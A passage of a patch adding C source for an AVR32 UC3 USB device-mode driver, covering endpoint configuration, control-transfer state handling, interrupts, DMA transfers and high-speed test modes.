UC3B) +# ifdef USB_DEVICE_HS_SUPPORT +# error The High speed mode is not supported on this part, please remove USB_DEVICE_HS_SUPPORT in conf_usb.h +# endif +#endif + +#ifndef UDD_ISOCHRONOUS_NB_BANK + #define UDD_ISOCHRONOUS_NB_BANK 2 +#else + #if (UDD_ISOCHRONOUS_NB_BANK<1) || (UDD_ISOCHRONOUS_NB_BANK>2) + #error UDD_ISOCHRONOUS_NB_BANK must be define with 1 or 2. + #endif +#endif +#ifndef UDD_BULK_NB_BANK + #define UDD_BULK_NB_BANK 2 +#else + #if (UDD_BULK_NB_BANK<1) || (UDD_BULK_NB_BANK>2) + #error UDD_BULK_NB_BANK must be define with 1 or 2. + #endif +#endif +#ifndef UDD_INTERRUPT_NB_BANK + #define UDD_INTERRUPT_NB_BANK 1 +#else + #if (UDD_INTERRUPT_NB_BANK<1) || (UDD_INTERRUPT_NB_BANK>2) + #error UDD_INTERRUPT_NB_BANK must be define with 1 or 2. + #endif +#endif + + +/** + * \name Power management routine. + */ +//@{ + +#ifndef UDD_NO_SLEEP_MGR + +//! Definition of sleep levels +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STOP +#else +# if ((defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>3000)) \ + || ((!defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>10000)) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STDBY +# else +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STATIC +# endif +#endif +#define USBB_SLEEP_MODE_USB_IDLE SLEEPMGR_IDLE + +//! State of USB line +static bool udd_b_idle; + + +/*! \brief Authorize or not the CPU powerdown mode + * + * \param b_enable true to authorize powerdown mode + */ +static void udd_sleep_mode(bool b_idle) +{ + if (!b_idle && udd_b_idle) { + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + if (b_idle && !udd_b_idle) { + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + udd_b_idle = b_idle; +} +#else + +static void udd_sleep_mode(bool b_idle) { +} + +#endif // UDD_NO_SLEEP_MGR + +//@} + + +/** + * \name Control endpoint low level management routine. + * + * This function performs control endpoint mangement. + * It handle the SETUP/DATA/HANDSHAKE phases of a control transaction. + */ +//@{ + +//! Global variable to give and record information about setup request management +COMPILER_WORD_ALIGNED udd_ctrl_request_t udd_g_ctrlreq; + +//! Bit definitions about endpoint control state machine for udd_ep_control_state +typedef enum { + UDD_EPCTRL_SETUP = 0, //!< Wait a SETUP packet + UDD_EPCTRL_DATA_OUT = 1, //!< Wait a OUT data packet + UDD_EPCTRL_DATA_IN = 2, //!< Wait a IN data packet + UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP = 3, //!< Wait a IN ZLP packet + UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP = 4, //!< Wait a OUT ZLP packet + UDD_EPCTRL_STALL_REQ = 5, //!< STALL enabled on IN & OUT packet +} udd_ctrl_ep_state_t; + +//! State of the endpoint control management +static udd_ctrl_ep_state_t udd_ep_control_state; +//! Total number of data received/sent during data packet phase with previous payload buffers +static uint16_t udd_ctrl_prev_payload_nb_trans; +//! Number of data received/sent to/from udd_g_ctrlreq.payload buffer +static uint16_t udd_ctrl_payload_nb_trans; +//! Signal if the udd_g_ctrlreq.payload buffer is modulo endpoint control and need of data ZLP +static bool udd_ctrl_payload_need_in_zlp; + +/** + * \brief Reset control endpoint + * + * Called after a USB line reset or when UDD is enabled + */ +static void udd_reset_ep_ctrl(void); + +/** + * \brief Reset control endpoint management + * + * Called after a USB line reset or at the end of SETUP request (after ZLP) + */ +static void udd_ctrl_init(void); + +//! \brief Managed reception of SETUP packet on control enpoint +static void udd_ctrl_setup_received(void); + +//! \brief Managed reception of IN packet on control enpoint +static void udd_ctrl_in_sent(void); + +//! \brief Managed reception of OUT packet on control enpoint +static void udd_ctrl_out_received(void); + +//! \brief Managed underflow event of IN packet on control enpoint +static void udd_ctrl_underflow(void); + +//! \brief Managed overflow event of OUT packet on control enpoint +static void udd_ctrl_overflow(void); + +//! \brief Managed stall event of IN/OUT packet on control enpoint +static void udd_ctrl_stall_data(void); + +//! \brief Send a ZLP IN on control endpoint +static void udd_ctrl_send_zlp_in(void); + +//! \brief Send a ZLP OUT on control endpoint +static void udd_ctrl_send_zlp_out(void); + +//! \brief Call callback associated to setup request +static void udd_ctrl_endofrequest(void); + +/** + * \brief Main interrupt routine for control endpoint + * + * This switchs control endpoint events to correct sub function. + * + * \return \c 1 if an event about control endpoint is occured, otherwise \c 0. + */ +static bool udd_ctrl_interrupt(void); + +//@} + + +/** + * \name Management of bulk/interrupt/isochronous endpoints + * + * The UDD manages the data transfer on endpoints: + * - Start data tranfer on endpoint with USB Device DMA + * - Send a ZLP packet if requested + * - Call callback registered to signal end of transfer + * The transfer abort and stall feature are supported. + */ +//@{ +#if (0!=USB_DEVICE_MAX_EP) + +//! Structure definition about job registered on an endpoint +typedef struct { + uint8_t busy:1; //!< A job is registered on this endpoint + uint8_t stall_requested:1; //!< A stall has been requested but not executed + uint8_t *buf; //!< Buffer located in internal RAM to send or fill during job + iram_size_t buf_size; //!< Size of buffer to send or fill + union { + udd_callback_trans_t call_trans; //!< Callback to call at the end of transfer + udd_callback_halt_cleared_t call_nohalt; //!< Callback to call when the endpoint halt is cleared + }; +} udd_ep_job_t; + + +//! Array to register a job on bulk/interrupt/isochronous endpoint +static udd_ep_job_t udd_ep_job[USB_DEVICE_MAX_EP]; + +//! \brief Reset all job table +static void udd_ep_job_table_reset(void); + +//! \brief Abort all endpoint jobs on going +static void udd_ep_job_table_kill(void); + +/** + * \brief Abort endpoint job on going + * + * \param ep endpoint number of job to abort + */ +static void udd_ep_abort_job(udd_ep_id_t ep); + +/** + * \brief Call the callback associated to the job which is finished + * + * \param ptr_job job to complete + * \param b_abort if true then the job has been aborted + */ +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort); + +/** + * \brief Main interrupt routine for bulk/interrupt/isochronous endpoints + * + * This switchs endpoint events to correct sub function. + * + * \return \c 1 if an event about bulk/interrupt/isochronous endpoints has occured, otherwise \c 0. + */ +static bool udd_ep_interrupt(void); + +#endif // (0!=USB_DEVICE_MAX_EP) +//@} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED GLOBAL EVENTS + + +/** + * \internal + * \brief Function called by USBB interrupt to manage USB Device interrupts + * + * USB Device interrupt events are splited in three parts: + * - USB line events (SOF, reset, suspend, resume, wakeup) + * - control endpoint events (setup reception, end of data transfer, underflow, overflow, stall) + * - bulk/interrupt/isochronous endpoints events (end of data transfer) + * + * Note: + * Here, the global interrupt mask is not clear when an USB interrupt is enabled + * because this one can not be occured during the USB ISR (=during INTX is masked). + * See Technical reference $3.8.3 Masking interrupt requests in peripheral modules. + */ +#ifdef OTG +static void udd_interrupt(void) +#else +// Fix the fact that, for some IAR header files, the AVR32_USBB_IRQ_GROUP define +// has been defined as AVR32_USB_IRQ_GROUP instead. +#if __ICCAVR32__ +#if !defined(AVR32_USBB_IRQ_GROUP) +#define AVR32_USBB_IRQ_GROUP AVR32_USB_IRQ_GROUP +#endif +#endif +ISR(udd_interrupt, AVR32_USBB_IRQ_GROUP, UDD_USB_INT_LEVEL) +#endif +{ +#ifdef UDC_SOF_EVENT + if (Is_udd_sof()) { + udd_ack_sof(); + UDC_SOF_EVENT(); + goto udd_interrupt_end; + } +#endif + + if (udd_ctrl_interrupt()) + goto udd_interrupt_end; // Interrupt acked by control endpoint managed + +#if (0!=USB_DEVICE_MAX_EP) + if (udd_ep_interrupt()) + goto udd_interrupt_end; // Interrupt acked by bulk/interrupt/isochronous endpoint managed +#endif + + // USB bus reset detection + if (Is_udd_reset()) { + udd_ack_reset(); + // Abort all jobs on-going +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_kill(); +#endif + // Reset USB Device Stack Core + udc_reset(); + // Reset endpoint control + udd_reset_ep_ctrl(); + // Reset endpoint control management + udd_ctrl_init(); + goto udd_interrupt_end; + } + + if (Is_udd_suspend_interrupt_enabled() && Is_udd_suspend()) { + otg_unfreeze_clock(); + // The suspend interrupt is automatic acked when a wakeup occur + udd_disable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); + otg_freeze_clock(); // Mandatory to exit of sleep mode after a wakeup event + udd_sleep_mode(false); // Enter in SUSPEND mode +#ifdef UDC_SUSPEND_EVENT + UDC_SUSPEND_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_wake_up_interrupt_enabled() && Is_udd_wake_up()) { + // Ack wakeup interrupt and enable suspend interrupt + otg_unfreeze_clock(); + // Check USB clock ready after suspend and eventually sleep USB clock + while( !Is_clock_usable() ) { + if(Is_udd_suspend()) break; // In case of USB state change in HS + }; + // The wakeup interrupt is automatic acked when a suspend occur + udd_disable_wake_up_interrupt(); + udd_enable_suspend_interrupt(); + udd_sleep_mode(true); // Enter in IDLE mode +#ifdef UDC_RESUME_EVENT + UDC_RESUME_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_vbus_transition()) { + // Ack VBus transition and send status to high level + otg_unfreeze_clock(); + udd_ack_vbus_transition(); + otg_freeze_clock(); +#ifdef UDC_VBUS_EVENT + UDC_VBUS_EVENT(Is_udd_vbus_high()); +#endif + goto udd_interrupt_end; + } +udd_interrupt_end: + otg_data_memory_barrier(); + return; +} + + +bool udd_include_vbus_monitoring(void) +{ + return true; +} + + +void udd_enable(void) +{ + irqflags_t flags; + sysclk_enable_usb(); + + flags = cpu_irq_save(); + + //** Enable USB hardware + otg_disable(); + (void)Is_otg_enabled(); +#ifdef OTG + // Check UID pin state before enter in USB device mode + if (!Is_otg_id_device()) + return FALSE; +#else + // Here, only the Device mode is possible, then link USBB interrupt to UDD interrupt + irq_register_handler(udd_interrupt, AVR32_USBB_IRQ, UDD_USB_INT_LEVEL); + otg_force_device_mode(); +#endif + otg_disable_pad(); + otg_enable_pad(); + otg_enable(); + otg_unfreeze_clock(); + (void)Is_otg_clock_frozen(); +#if UC3A3 + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode +#else + // Check USB clock + while( !Is_clock_usable() ); +#endif + + // Reset internal variables +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_reset(); +#endif + + // Set the USB speed requested by configuration file +#ifdef USB_DEVICE_LOW_SPEED + udd_low_speed_enable(); +#else + udd_low_speed_disable(); +# ifdef USB_DEVICE_HS_SUPPORT + udd_high_speed_enable(); +# else + udd_high_speed_disable(); +# endif +#endif + udd_enable_vbus_interrupt(); + otg_freeze_clock(); + // Always authorize asynchrone USB interrupts to exit of sleep mode + AVR32_PM.AWEN.usb_waken = 1; + +#ifndef UDD_NO_SLEEP_MGR + // Initialize the sleep mode authorized for the USB suspend mode + udd_b_idle = false; + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + + cpu_irq_restore(flags); +} + + +void udd_disable(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + // Disable USB pad + otg_disable(); + otg_disable_pad(); + sysclk_disable_usb(); + udd_sleep_mode(false); +#ifndef UDD_NO_SLEEP_MGR + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + cpu_irq_restore(flags); +} + + +void udd_attach(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + + // At startup the USB bus state is unknown, + // therefore the state is considered IDLE to not miss any USB event + udd_sleep_mode(true); + otg_unfreeze_clock(); + + // This section of clock check can be improved with a chek of + // USB clock source via sysclk() +#if UC3A3 + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode + // But it is not a issue, because the clock source is the OSC +#else + // Check USB clock because the source can be a PLL + while( !Is_clock_usable() ); +#endif + // Authorize attach if VBus is present + udd_attach_device(); + + // (RESET_AND_WAKEUP) + // After the attach and the first USB suspend, the following USB Reset time can be inferior to CPU restart clock time. + // Thus, the USB Reset state is not detected and endpoint control is not allocated + // In this case, a Reset is do automatically after attach. + udc_reset(); // Reset USB Device Stack Core + udd_reset_ep_ctrl(); // Reset endpoint control + udd_ctrl_init(); // Reset endpoint control management + + // Enable USB line events + udd_enable_reset_interrupt(); + udd_enable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); +#ifdef UDC_SOF_EVENT + udd_enable_sof_interrupt(); +#endif + // Reset following interupts flag + udd_ack_reset(); + udd_ack_sof(); + + // The first suspend interrupt must be forced +#if UC3A3 + // With UTMI, the first suspend is detected but must be cleared to reoccur interrupt + udd_ack_suspend(); +#else + // The first suspend interrupt is not detected else raise it + udd_raise_suspend(); +#endif + udd_ack_wake_up(); + otg_freeze_clock(); + cpu_irq_restore(flags); +} + + +void udd_detach(void) +{ + otg_unfreeze_clock(); + // Detach device from the bus + udd_detach_device(); + udd_sleep_mode(false); +} + + +bool udd_is_high_speed(void) +{ +#ifdef USB_DEVICE_HS_SUPPORT + return !Is_udd_full_speed_mode(); +#else + return false; +#endif +} + + +void udd_set_address(uint8_t address) +{ + udd_disable_address(); + udd_configure_address(address); + udd_enable_address(); +} + + +uint8_t udd_getaddress(void) +{ + return udd_get_configured_address(); +} + + +uint16_t udd_get_frame_number(void) +{ + return udd_frame_number(); +} + + +void udd_send_wake_up(void) +{ +#ifndef UDD_NO_SLEEP_MGR + if (!udd_b_idle) +#endif + { + udd_sleep_mode(true); // Enter in IDLE mode + otg_unfreeze_clock(); + udd_initiate_remote_wake_up(); + } +} + + +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ) +{ + udd_g_ctrlreq.payload = payload; + udd_g_ctrlreq.payload_size = payload_size; +} + + +#if (0!=USB_DEVICE_MAX_EP) +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize) +{ + bool b_dir_in; + uint16_t ep_allocated; + uint8_t bank, i; + + b_dir_in = ep & USB_EP_DIR_IN; + ep = ep & USB_EP_ADDR_MASK; + + if (ep > USB_DEVICE_MAX_EP) + return false; + if (Is_udd_endpoint_enabled(ep)) + return false; + + // Bank choise + switch(bmAttributes&USB_EP_TYPE_MASK) { + case USB_EP_TYPE_ISOCHRONOUS: + bank = UDD_ISOCHRONOUS_NB_BANK; + break; + case USB_EP_TYPE_INTERRUPT: + bank = UDD_INTERRUPT_NB_BANK; + break; + case USB_EP_TYPE_BULK: + bank = UDD_BULK_NB_BANK; + break; + default: + Assert(false); + return false; + } + switch(bank) { + case 1: + bank = AVR32_USBB_UECFG0_EPBK_SINGLE; + break; + case 2: + bank = AVR32_USBB_UECFG0_EPBK_DOUBLE; + break; + case 3: + bank = AVR32_USBB_UECFG0_EPBK_TRIPLE; + break; + } + + // Check if endpoint size is 8,16,32,64,128,256,512 or 1023 + Assert(MaxEndpointSize < 1024); + Assert((MaxEndpointSize == 1023) || !(MaxEndpointSize & (MaxEndpointSize - 1))); + Assert(MaxEndpointSize >= 8); + + // Set configuration of new endpoint + udd_configure_endpoint(ep, bmAttributes, (b_dir_in ? 1 : 0), + MaxEndpointSize, bank); + ep_allocated = 1 << ep; + + // Unalloc endpoints superior + for (i = USB_DEVICE_MAX_EP; i > ep; i--) { + if (Is_udd_endpoint_enabled(i)) { + ep_allocated |= 1 << i; + udd_disable_endpoint(i); + udd_unallocate_memory(i); + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { + if (ep_allocated & (1 << i)) { + udd_allocate_memory(i); + udd_enable_endpoint(i); + if (!Is_udd_endpoint_configured(i)) + return false; + } + } + return true; +} + + +void udd_ep_free(udd_ep_id_t ep) +{ + udd_disable_endpoint(ep & USB_EP_ADDR_MASK); + udd_unallocate_memory(ep & USB_EP_ADDR_MASK); + udd_ep_abort_job(ep); +} + + +bool udd_ep_is_halted(udd_ep_id_t ep) +{ + return Is_udd_endpoint_stall_requested(ep & USB_EP_ADDR_MASK); +} + + +bool udd_ep_set_halt(udd_ep_id_t ep) +{ + uint8_t index = ep & USB_EP_ADDR_MASK; + + if (USB_DEVICE_MAX_EP < index) + return false; + if (Is_udd_bank_interrupt_enabled(index)) { + // Wait end of transfer (= no busy bank) before stall endpoint + udd_ep_job[index - 1].stall_requested = true; + } else { + // Stall endpoint + udd_enable_stall_handshake(index); + udd_reset_data_toggle(index); + } + udd_ep_abort_job(ep); + return true; +} + + +bool udd_ep_clear_halt(udd_ep_id_t ep) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (Is_udd_endpoint_stall_requested(ep) // Endpoint stalled + || ptr_job->stall_requested) { // Endpoint stall is requested + // Remove request to stall + ptr_job->stall_requested = false; + // Remove stall + udd_disable_stall_handshake(ep); + // If a job is register on clear halt action + // then execute callback + if (ptr_job->busy == true) { + ptr_job->busy = false; + ptr_job->call_nohalt(); + } + } + return true; +} + + +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback) +{ + bool b_dir_in; + uint32_t udd_dma_ctrl = 0; + udd_ep_job_t *ptr_job; + irqflags_t flags; + + b_dir_in = (USB_EP_DIR_IN == (ep & USB_EP_DIR_IN)); + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if ((!Is_udd_endpoint_enabled(ep)) + || Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) + return false; // Endpoint is halted + + flags = cpu_irq_save(); + if (ptr_job->busy == true) { + cpu_irq_restore(flags); + return false; // Job already on going + } + ptr_job->busy = true; + cpu_irq_restore(flags); + + // The USBB supports a maximum transfer size of 64KB + if (0x10000 <= buf_size) { + // Transfer size = 64KB + ptr_job->buf_size = 0x10000; + buf_size = 0; + } else { + ptr_job->buf_size = buf_size; + if (b_dir_in && (0 != buf_size % udd_get_endpoint_size(ep))) { + // Force short packet option to send a shortpacket on IN, + // else the DMA transfer is accepted and interrupt DMA valid but nothing is sent. + b_shortpacket = true; + } + } + ptr_job->buf = buf; + ptr_job->call_trans = callback; + + // Start USB DMA to fill or read fifo of the selected endpoint + udd_endpoint_dma_set_addr(ep, (U32) buf); + if (b_shortpacket) { + if (b_dir_in) { + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_DMAEND_EN_MASK; + } else { + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_EOT_IRQ_EN_MASK + | + AVR32_USBB_UDDMA1_CONTROL_BUFF_CLOSE_IN_EN_MASK; + } + } + udd_dma_ctrl |= (buf_size << + AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_OFFSET) + & AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_MASK; + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_EOBUFF_IRQ_EN_MASK | + AVR32_USBB_UDDMA1_CONTROL_CH_EN_MASK; + udd_enable_endpoint_bank_autoswitch(ep); + udd_endpoint_dma_set_control(ep, udd_dma_ctrl); + flags = cpu_irq_save(); + udd_enable_endpoint_dma_interrupt(ep); + cpu_irq_restore(flags); + + return true; +} + + +void udd_ep_abort(udd_ep_id_t ep) +{ + // Stop DMA transfer + udd_endpoint_dma_set_control((ep & USB_EP_ADDR_MASK), 0); + udd_ep_abort_job(ep); +} + + +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (!Is_udd_endpoint_enabled(ep)) + return false; // Endpoint not enabled + + // Wait clear halt endpoint + if (ptr_job->busy == true) + return false; // Job already on going + + if (Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) { + // Endpoint halted then registes the callback + ptr_job->busy = true; + ptr_job->call_nohalt = callback; + } else { + // Enpoint not halted then call directly callback + callback(); + } + return true; +} +#endif // (0!=USB_DEVICE_MAX_EP) + + +#ifdef USB_DEVICE_HS_SUPPORT + +void udd_test_mode_j(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_j(); +} + + +void udd_test_mode_k(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_k(); +} + + +void udd_test_mode_se0_nak(void) +{ + udd_enable_hs_test_mode(); +} + + +void udd_test_mode_packet(void) +{ + uint8_t i; + uint8_t *ptr_dest; + const uint8_t *ptr_src; + irqflags_t flags; + + const uint8_t test_packet[] = { + // 00000000 * 9 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + // 01010101 * 8 + 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, + // 01110111 * 8 + 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, + // 0, {111111S * 15}, 111111 + 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, + // S, 111111S, {0111111S * 7} + 0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, + // 00111111, {S0111111 * 9}, S0 + 0xFC, 0x7E, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0x7E + }; + + // Reconfigure control endpoint to bulk IN endpoint + udd_disable_endpoint(0); + udd_configure_endpoint(0, USB_EP_TYPE_BULK, 1, // IN + 64, AVR32_USBB_UECFG0_EPBK_SINGLE); + udd_allocate_memory(0); + udd_enable_endpoint(0); + + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_packet(); + + // Send packet on endpoint 0 + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = test_packet; + for (i = 0; i < sizeof(test_packet); i++) { + *ptr_dest++ = *ptr_src++; + } + flags = cpu_irq_save(); + udd_enable_in_send_interrupt(0); + cpu_irq_restore(flags); + udd_ack_in_send(0); +} +#endif // USB_DEVICE_HS_SUPPORT + + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE CONTROL ENDPOINT + +static void udd_reset_ep_ctrl(void) +{ + irqflags_t flags; + // Reset USB address to 0 + udd_configure_address(0); + udd_enable_address(); + // Alloc and configure control endpoint + udd_configure_endpoint(0, + USB_EP_TYPE_CONTROL, + 0, + USB_DEVICE_EP_CTRL_SIZE, AVR32_USBB_UECFG0_EPBK_SINGLE); + + udd_allocate_memory(0); + udd_enable_endpoint(0); + flags = cpu_irq_save(); + udd_enable_setup_received_interrupt(0); + udd_enable_out_received_interrupt(0); + udd_enable_endpoint_interrupt(0); + cpu_irq_restore(flags); +} + +static void udd_ctrl_init(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + // In case of abort of IN Data Phase: + // No need to abort IN transfer (rise TXINI), + // because it is automatically done by hardware when a Setup packet is received. + // But the interrupt must be disabled to don't generate interrupt TXINI + // after SETUP reception. + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + // In case of OUT ZLP event is no processed before Setup event occurs + udd_ack_out_received(0); + + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + udd_g_ctrlreq.payload_size = 0; + udd_ep_control_state = UDD_EPCTRL_SETUP; +} + + +static void udd_ctrl_setup_received(void) +{ + irqflags_t flags; + uint8_t i; + + if (UDD_EPCTRL_SETUP != udd_ep_control_state) { + // May be a hidden DATA or ZLP phase + // or protocol abort + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + } + // Fill setup request structure + if (8 != udd_byte_count(0)) { + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; // Error data number doesn't correspond to SETUP packet + } + uint32_t *ptr = (uint32_t *) & udd_get_endpoint_fifo_access(0, 32); + for (i = 0; i < 8 / 4; i++) { + ((uint32_t *) & udd_g_ctrlreq.req)[i] = *ptr++; + } + // Manage LSB/MSB to fit with CPU usage + udd_g_ctrlreq.req.wValue = le16_to_cpu(udd_g_ctrlreq.req.wValue); + udd_g_ctrlreq.req.wIndex = le16_to_cpu(udd_g_ctrlreq.req.wIndex); + udd_g_ctrlreq.req.wLength = le16_to_cpu(udd_g_ctrlreq.req.wLength); + + // Decode setup request + if (udc_process_setup() == false) { + // Setup request unknow then stall it + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; + } + udd_ack_setup_received(0); + + if (Udd_setup_is_in()) { + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) == 0); + // IN data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_IN; + udd_ctrl_in_sent(); // Send first data transfer + } else { + if (0 == udd_g_ctrlreq.req.wLength) { + // No data phase requested + // Send IN ZLP to ACK setup request + udd_ctrl_send_zlp_in(); + return; + } + // OUT data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_OUT; + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); + } +} + + +static void udd_ctrl_in_sent(void) +{ + uint16_t nb_remain; + uint8_t i; + uint8_t *ptr_dest, *ptr_src; + irqflags_t flags; + + flags = cpu_irq_save(); + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // ZLP on IN is sent, then valid end of setup request + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + Assert(udd_ep_control_state == UDD_EPCTRL_DATA_IN); + + nb_remain = udd_g_ctrlreq.payload_size - udd_ctrl_payload_nb_trans; + if (0 == nb_remain) { + // All content of current buffer payload are sent + if (!udd_ctrl_payload_need_in_zlp) { + // It is the end of data phase, because the last data packet is a short packet + // then generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; + } + if ((udd_g_ctrlreq.req.wLength > (udd_ctrl_prev_payload_nb_trans + + + udd_g_ctrlreq. + payload_size)) + || (!udd_g_ctrlreq.over_under_run) + || (!udd_g_ctrlreq.over_under_run())) { + // Underrun or data packet complette than send zlp on IN (note don't change DataToggle) + udd_ctrl_payload_need_in_zlp = false; + // nb_remain==0 allows to send a IN ZLP + } else { + // A new payload buffer is given + // Update number of total data sending by previous playlaod buffer + udd_ctrl_prev_payload_nb_trans += + udd_ctrl_payload_nb_trans; + // Update maangement of current playoad transfer + udd_ctrl_payload_nb_trans = 0; + nb_remain = udd_g_ctrlreq.payload_size; + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) + == 0); + } + } + // Continue transfer and send next data + if (nb_remain > USB_DEVICE_EP_CTRL_SIZE) { + nb_remain = USB_DEVICE_EP_CTRL_SIZE; + } + // Fill buffer of endpoint control + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + //** Critical section + // Only in case of DATA IN phase abort without USB Reset signal after. + // The IN data don't must be writed in endpoint 0 DPRAM during + // a next setup reception in same endpoint 0 DPRAM. + // Thereby, an OUT ZLP reception must check before IN data write + // and if no OUT ZLP is recevied the data must be written quickly (800us) + // before an eventually ZLP OUT and SETUP reception + flags = cpu_irq_save(); + if (Is_udd_out_received(0)) { + // IN DATA phase aborted by OUT ZLP + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_remain; + + // Validate and send the data available in the control endpoint buffer + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // In case of abort of DATA IN phase, no need to enable nak OUT interrupt + // because OUT endpoint is already free and ZLP OUT accepted. + cpu_irq_restore(flags); +} + + +static void udd_ctrl_out_received(void) +{ + irqflags_t flags; + uint8_t i; + uint16_t nb_data; + + if (UDD_EPCTRL_DATA_OUT != udd_ep_control_state) { + if ((UDD_EPCTRL_DATA_IN == udd_ep_control_state) + || (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == + udd_ep_control_state)) { + // End of SETUP request: + // - Data IN Phase aborted, + // - or last Data IN Phase hidden by ZLP OUT sending quiclky, + // - or ZLP OUT received normaly. + udd_ctrl_endofrequest(); + } else { + // Protocol error during SETUP request + udd_ctrl_stall_data(); + } + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + // Read data received during OUT phase + nb_data = udd_byte_count(0); + if (udd_g_ctrlreq.payload_size < (udd_ctrl_payload_nb_trans + nb_data)) { + // Payload buffer too small + nb_data = udd_g_ctrlreq.payload_size - + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t 